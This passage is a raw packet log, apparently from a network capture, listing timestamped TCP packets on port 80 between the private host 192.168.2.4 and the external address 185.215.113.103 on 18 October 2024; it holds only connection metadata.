Oct 18, 2024 15:04:54.981178999 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981193066 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.981216908 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.981225014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981236935 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.981240988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981257915 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981272936 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981288910 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981312990 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.981312990 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.981332064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981348038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981362104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981379032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981385946 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.981396914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981443882 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.981443882 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.981501102 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981518984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981533051 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981551886 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.981614113 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.981614113 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.985377073 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.011672974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.011816978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.011831999 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.011848927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.011863947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.011878967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.011893034 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.011909962 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.011913061 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.011913061 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.011926889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.011962891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.011965990 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.011965990 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.011979103 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.011993885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012008905 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012026072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012032032 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.012041092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012057066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012073994 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012114048 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012120962 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.012120962 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.012120962 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.012130022 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012145996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012168884 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.012212038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012226105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012247086 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012264013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012267113 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.012267113 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.012310982 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012325048 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012339115 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.012341022 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012356043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012372017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012379885 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.012387991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.012418032 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.012455940 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.036148071 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036164999 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036185980 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036205053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036221027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036240101 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036267042 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036283970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036300898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036319971 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.036319971 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.036319971 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.036324978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036351919 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036365032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036377907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036395073 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.036398888 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036412001 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.036412954 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036456108 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.036506891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036540985 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036554098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036561966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036577940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036617041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036632061 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036637068 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.036637068 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.036664963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036679983 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036689043 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.036695957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036710978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036791086 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.036791086 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.036899090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036914110 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036942005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036956072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036973953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.036989927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037004948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037029982 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.037046909 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.037061930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037076950 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037094116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037137032 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.037137032 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.037220001 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037235022 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037250996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037266970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037286997 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.037333965 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.037440062 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037456036 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037472963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037533998 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.037708044 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037767887 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.037781000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037795067 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037830114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037844896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037862062 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037877083 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037890911 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.037890911 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.037895918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037930965 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.037966013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037981033 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.037996054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.038011074 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.038017988 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.038038969 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.038054943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.038075924 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.038075924 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.062566996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.062593937 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.062611103 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.062628984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.062645912 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.062645912 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.062661886 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.062676907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.062697887 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.062697887 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.062722921 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.097244024 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.097270966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.097287893 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.097305059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.097321987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.097359896 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.097359896 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.098108053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098135948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098153114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098166943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098177910 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.098185062 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098197937 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.098198891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098217010 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098233938 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.098273039 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098287106 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098288059 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.098341942 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.098397970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098412991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098454952 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.098529100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098546028 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098624945 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.098793030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098809004 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098825932 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098841906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098859072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.098867893 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.098920107 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099090099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099106073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099122047 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099137068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099159956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099173069 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099189043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099196911 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099196911 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099196911 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099234104 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099237919 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099266052 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099281073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099294901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099313021 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099328995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099344969 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099365950 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099365950 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099365950 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099370956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099400997 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099415064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099415064 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099440098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099453926 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099457979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099473953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099498987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099512100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099513054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099529982 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099545956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099570036 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099574089 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099574089 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099586010 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099603891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099620104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099621058 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099638939 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099653006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099667072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099668980 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099685907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099701881 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099715948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099725008 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099725008 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099736929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099751949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.099782944 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.099782944 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100039959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100064993 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100080967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100101948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100104094 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100119114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100132942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100148916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100163937 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100178957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100187063 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100187063 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100194931 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100205898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100223064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100239992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100256920 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100270987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100306034 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100306034 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100306034 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100331068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100347042 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100362062 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100378036 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100393057 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100409031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100423098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100438118 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100440025 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100440025 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100440025 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100455046 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100471020 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100512981 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100512981 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100729942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100756884 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100771904 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100786924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100800991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100816965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100831985 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100837946 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100837946 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100851059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100874901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100892067 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.100893021 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100893021 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.100929976 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.101115942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101130962 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101145983 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101161957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101178885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101227045 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.101227045 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.101227045 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.101285934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101310968 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101326942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101341963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101356983 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101373911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101388931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101393938 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.101393938 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.101408005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101417065 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.101422071 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101438999 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101453066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101469040 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101485014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101500988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101505041 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.101505041 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.101516962 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101531982 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101547956 CEST	80	50042	185.215.113.103	192.168.2.4
